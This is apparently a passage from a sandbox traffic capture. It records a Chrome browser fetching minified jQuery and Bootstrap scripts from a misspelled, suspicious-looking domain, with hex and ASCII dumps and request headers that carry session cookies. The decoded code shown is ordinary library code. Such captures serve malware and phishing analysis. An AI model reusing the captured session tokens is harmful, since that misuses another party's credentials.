d,e,g=0,h=[];if(s(a))for(d=a.length;d>g;g++)e=b(a[g],g,c),null!=e&&h.push(e);else for(g in a)e=b(a[g],g,c),null!=e&&h.push(e);return f.apply([],h)},guid:1,proxy:function(a,b){var c,d,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 5d 29 2a 29 5c 22 7c 28 22 2b 4d 2b 22 29 29 7c 29 22 2b 4c 2b 22 2a 5c 5c 5d 22 2c 4f 3d 22 3a 28 22 2b 4d 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 4e 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 50 3d 6e 65 77 20 52 65 67 45 78 70 28 4c 2b 22 2b 22 2c 22 67 22 29 2c 51 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4c 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4c 2b 22 2b 24 22 2c 22 67 22 29 2c 52 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4c 2b 22 2a 2c 22 2b 4c 2b 22 2a Data Ascii: ]))\"\|("+M+"))\|)"+L+"\\]",O=":("+M+")(?:\$(('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+N+"))\|.)\$\|)",P=new RegExp(L+"+","g"),Q=new RegExp("^"+L+"+\|((?:^\|[^\\\\])(?:\\\\.))"+L+"+$","g"),R=new RegExp("^"+L+","+L+"*
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 74 68 2c 64 3d 30 3b 77 68 69 6c 65 28 61 5b 63 2b 2b 5d 3d 62 5b 64 2b 2b 5d 29 3b 61 2e 6c 65 6e 67 74 68 3d 63 2d 31 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 61 28 61 2c 62 2c 64 2c 65 29 7b 76 61 72 20 66 2c 68 2c 6a 2c 6b 2c 6c 2c 6f 2c 72 2c 73 2c 77 3d 62 26 26 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 78 3d 62 3f 62 2e 6e 6f 64 65 54 79 70 65 3a 39 3b 69 66 28 64 3d 64 7c 7c 5b 5d 2c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 61 7c 7c 21 61 7c 7c 31 21 3d 3d 78 26 26 39 21 3d 3d 78 26 26 31 31 21 3d 3d 78 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 78 26 26 28 6f 3d Data Ascii: th,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fa(a,b,d,e){var f,h,j,k,l,o,r,s,w=b&&b.ownerDocument,x=b?b.nodeType:9;if(d=d\|\|[],"string"!=typeof a\|\|!a\|\|1!==x&&9!==x&&11!==x)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==x&&(o=
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 69 6c 65 28 65 2d 2d 29 64 2e 61 74 74 72 48 61 6e 64 6c 65 5b 63 5b 65 5d 5d 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 6b 61 28 61 2c 62 29 7b 76 61 72 20 63 3d 62 26 26 61 2c 64 3d 63 26 26 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 26 26 31 3d 3d 3d 62 2e 6e 6f 64 65 54 79 70 65 26 26 28 7e 62 2e 73 6f 75 72 63 65 49 6e 64 65 78 7c 7c 43 29 2d 28 7e 61 2e 73 6f 75 72 63 65 49 6e 64 65 78 7c 7c 43 29 3b 69 66 28 64 29 72 65 74 75 72 6e 20 64 3b 69 66 28 63 29 77 68 69 6c 65 28 63 3d 63 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 69 66 28 63 3d 3d 3d 62 29 72 65 74 75 72 6e 2d 31 3b 72 65 74 75 72 6e 20 61 3f 31 3a 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 6c 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 Data Ascii: ile(e--)d.attrHandle[c[e]]=b}function ka(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex\|\|C)-(~a.sourceIndex\|\|C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function la(a){return function(b){var c=b.nodeNa
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 72 65 74 75 72 6e 20 63 3f 5b 63 5d 3a 5b 5d 7d 7d 2c 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 29 3a 28 64 65 6c 65 74 65 20 64 Data Ascii: ntsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){return a.getAttribute("id")===b}}):(delete d
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 7d 29 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4c 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 6e 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 65 6e 61 Data Ascii: ".#.+[+~]")}),ia(function(a){var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"[^$\|!~]?="),a.querySelectorAll(":enabled").length\|\|q.push(":ena
2024-04-18 21:05:42 UTC	955	IN	Data Raw: 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 4a 28 6b 2c 61 29 2d 4a 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6b 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e 73 68 69 66 74 28 63 29 3b 63 3d 62 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 68 2e 75 6e 73 68 69 66 74 28 63 29 3b 77 68 69 6c 65 28 67 5b 64 5d 3d 3d 3d 68 5b 64 5d 29 64 2b 2b 3b 72 65 74 75 72 6e 20 64 3f 6b 61 28 67 5b 64 5d 2c 68 5b 64 5d 29 3a 67 5b 64 5d 3d 3d 3d 76 3f 2d 31 3a 68 5b 64 5d 3d 3d 3d 76 3f 31 3a 30 7d 2c 6e 29 3a 6e 7d 2c 66 61 2e 6d 61 74 63 68 65 73 3d 66 Data Ascii: =[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return ka(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?ka(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},fa.matches=f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49784	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:41 UTC	1162	OUT	GET /boot/8a55860f2cae358e560aa5f55856c7c166218b25540ff HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
2024-04-18 21:05:42 UTC	644	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:42 GMT Content-Type: text/javascript Content-Length: 51039 Connection: close Last-Modified: Tue, 16 Apr 2024 22:58:32 GMT Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MLwooojTdqqwZG2VNPYhuLFQRTx3iSC8CHYIyh6pH4H3Xv4XMGqwpeCZMFsxhlY3PE6iqh0mr27%2F6w7FYzMsq3aFnwybGN0TxqefthczlJmiTYtm%2BKblN6kLosAamRmnd%2BPBvR8rYrgb%2BQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d4cdc2944f9-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:42 UTC	725	IN	Data Raw: 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 Data Ascii: /! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t,e){"
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 74 2c 6e 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 72 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 6f 3d 6e 75 6c 6c 21 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3a 7b 7d 2c 65 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6f 29 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 26 26 28 65 3d 65 2e 63 6f 6e 63 61 74 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 6f 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 Data Ascii: t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnProperty
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 74 7d 2c 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 74 61 72 67 65 74 22 29 3b 65 26 26 22 23 22 21 3d 3d 65 7c 7c 28 65 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 22 29 7c 7c 22 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 29 3f 65 3a 6e 75 6c 6c 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 7d 2c 67 65 74 54 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 46 72 6f 6d 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 74 29 72 65 74 75 72 6e 20 30 3b 76 61 72 20 65 Data Ascii: eturn t},getSelectorFromElement:function(t){var e=t.getAttribute("data-target");e&&"#"!==e\|\|(e=t.getAttribute("href")\|\|"");try{return document.querySelector(e)?e:null}catch(t){return null}},getTransitionDurationFromElement:function(t){if(!t)return 0;var e
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 74 72 69 67 67 65 72 43 6c 6f 73 65 45 76 65 6e 74 28 65 29 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 7c 7c 74 68 69 73 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 28 65 29 7d 2c 74 2e 64 69 73 70 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 72 65 6d 6f 76 65 44 61 74 61 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 6f 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 7d 2c 74 2e 5f 67 65 74 52 6f 6f 74 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 29 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 65 26 26 28 6e 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 29 29 2c 6e Data Ascii: this._triggerCloseEvent(e).isDefaultPrevented()\|\|this._removeElement(e)},t.dispose=function(){r.removeData(this._element,o),this._element=null},t._getRootElement=function(t){var e=Fn.getSelectorFromElement(t),n=!1;return e&&(n=document.querySelector(e)),n
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 79 2b 45 2c 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 3a 28 53 3d 22 66 6f 63 75 73 22 29 2b 79 2b 45 2b 22 20 62 6c 75 72 22 2b 79 2b 45 7d 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 6e 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 74 6f 67 67 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 21 30 2c 65 3d 21 30 2c 6e 3d 6d 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 6c 6f 73 65 73 74 28 41 29 5b 30 5d 3b 69 66 28 6e 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 44 29 3b 69 66 28 69 29 7b 69 66 28 22 72 Data Ascii: _API:"click"+y+E,FOCUS_BLUR_DATA_API:(S="focus")+y+E+" blur"+y+E},k=function(){function n(t){this._element=t}var t=n.prototype;return t.toggle=function(){var t=!0,e=!0,n=m(this._element).closest(A)[0];if(n){var i=this._element.querySelector(D);if(i){if("r
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 70 5d 3d 43 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 6b 29 2c 51 6e 3d 28 6a 3d 22 63 61 72 6f 75 73 65 6c 22 2c 4c 3d 22 2e 22 2b 28 48 3d 22 62 73 2e 63 61 72 6f 75 73 65 6c 22 29 2c 52 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 78 3d 28 50 3d 65 29 2e 66 6e 5b 6a 5d 2c 57 3d 7b 69 6e 74 65 72 76 61 6c 3a 35 65 33 2c 6b 65 79 62 6f 61 72 64 3a 21 30 2c 73 6c 69 64 65 3a 21 31 2c 70 61 75 73 65 3a 22 68 6f 76 65 72 22 2c 77 72 61 70 3a 21 30 7d 2c 55 3d 7b 69 6e 74 65 72 76 61 6c 3a 22 28 6e 75 6d 62 65 72 7c 62 6f 6f 6c 65 61 6e 29 22 2c 6b 65 79 62 6f 61 72 64 3a 22 62 6f 6f 6c 65 61 6e 22 2c 73 6c 69 64 65 3a 22 28 62 6f 6f 6c 65 61 6e 7c 73 74 72 69 6e 67 29 22 2c 70 61 75 73 65 3a 22 28 73 74 72 69 6e 67 7c 62 6f 6f 6c 65 61 6e 29 Data Ascii: p]=C,k._jQueryInterface},k),Qn=(j="carousel",L="."+(H="bs.carousel"),R=".data-api",x=(P=e).fn[j],W={interval:5e3,keyboard:!0,slide:!1,pause:"hover",wrap:!0},U={interval:"(number\|boolean)",keyboard:"boolean",slide:"(boolean\|string)",pause:"(string\|boolean)
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 75 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 7c 7c 28 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 30 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 74 29 26 26 28 46 6e 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2c 74 68 69 73 2e 63 79 63 6c 65 28 21 30 29 29 2c 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 7d 2c 74 2e 63 79 63 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 7c 7c 28 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 31 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 26 26 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 74 68 Data Ascii: use=function(t){t\|\|(this._isPaused=!0),this._element.querySelector(et)&&(Fn.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},t.cycle=function(t){t\|\|(this._isPaused=!1),this._interval&&(clearInterval(th
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 6c 65 28 74 29 7d 29 2c 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 54 4f 55 43 48 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 70 61 75 73 65 28 29 2c 65 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 26 26 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 65 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 29 2c 65 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 63 79 63 6c 65 28 74 29 7d 2c 35 30 30 2b 65 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 7d 29 29 7d 2c 74 2e 5f 6b 65 79 64 6f 77 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 Data Ascii: le(t)}),"ontouchstart"in document.documentElement&&P(this._element).on(Q.TOUCHEND,function(){e.pause(),e.touchTimeout&&clearTimeout(e.touchTimeout),e.touchTimeout=setTimeout(function(t){return e.cycle(t)},500+e._config.interval)}))},t._keydown=function(t)
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 6f 6e 28 74 2c 73 29 2c 63 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 6c 29 2c 68 3d 42 6f 6f 6c 65 61 6e 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 29 3b 69 66 28 74 3d 3d 3d 71 3f 28 6e 3d 4a 2c 69 3d 5a 2c 72 3d 4b 29 3a 28 6e 3d 7a 2c 69 3d 47 2c 72 3d 4d 29 2c 6c 26 26 50 28 6c 29 2e 68 61 73 43 6c 61 73 73 28 56 29 29 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 31 3b 65 6c 73 65 20 69 66 28 21 74 68 69 73 2e 5f 74 72 69 67 67 65 72 53 6c 69 64 65 45 76 65 6e 74 28 6c 2c 72 29 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 26 26 73 26 26 6c 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 30 2c 68 26 26 74 68 69 73 2e 70 61 75 73 65 28 29 2c 74 68 69 73 2e 5f Data Ascii: tItemByDirection(t,s),c=this._getItemIndex(l),h=Boolean(this._interval);if(t===q?(n=J,i=Z,r=K):(n=z,i=G,r=M),l&&P(l).hasClass(V))this._isSliding=!1;else if(!this._triggerSlideEvent(l,r).isDefaultPrevented()&&s&&l){this._isSliding=!0,h&&this.pause(),this._
2024-04-18 21:05:42 UTC	953	IN	Data Raw: 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 6c 69 64 65 2d 74 6f 22 29 3b 72 26 26 28 69 2e 69 6e 74 65 72 76 61 6c 3d 21 31 29 2c 6f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 50 28 6e 29 2c 69 29 2c 72 26 26 50 28 6e 29 2e 64 61 74 61 28 48 29 2e 74 6f 28 72 29 2c 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 7d 7d 2c 73 28 6f 2c 6e 75 6c 6c 2c 5b 7b 6b 65 79 3a 22 56 45 52 53 49 4f 4e 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 34 2e 31 2e 33 22 7d 7d 2c 7b 6b 65 79 3a 22 44 65 66 61 75 6c 74 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 57 7d 7d 5d 29 2c 6f 7d 28 29 2c 50 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 51 2e 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 Data Ascii: tribute("data-slide-to");r&&(i.interval=!1),o._jQueryInterface.call(P(n),i),r&&P(n).data(H).to(r),t.preventDefault()}}},s(o,null,[{key:"VERSION",get:function(){return"4.1.3"}},{key:"Default",get:function(){return W}}]),o}(),P(document).on(Q.CLICK_DATA_API

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49785	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:41 UTC	1160	OUT	GET /js/8a55860f2cae358e560aa5f55856c7c166218b2554100 HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
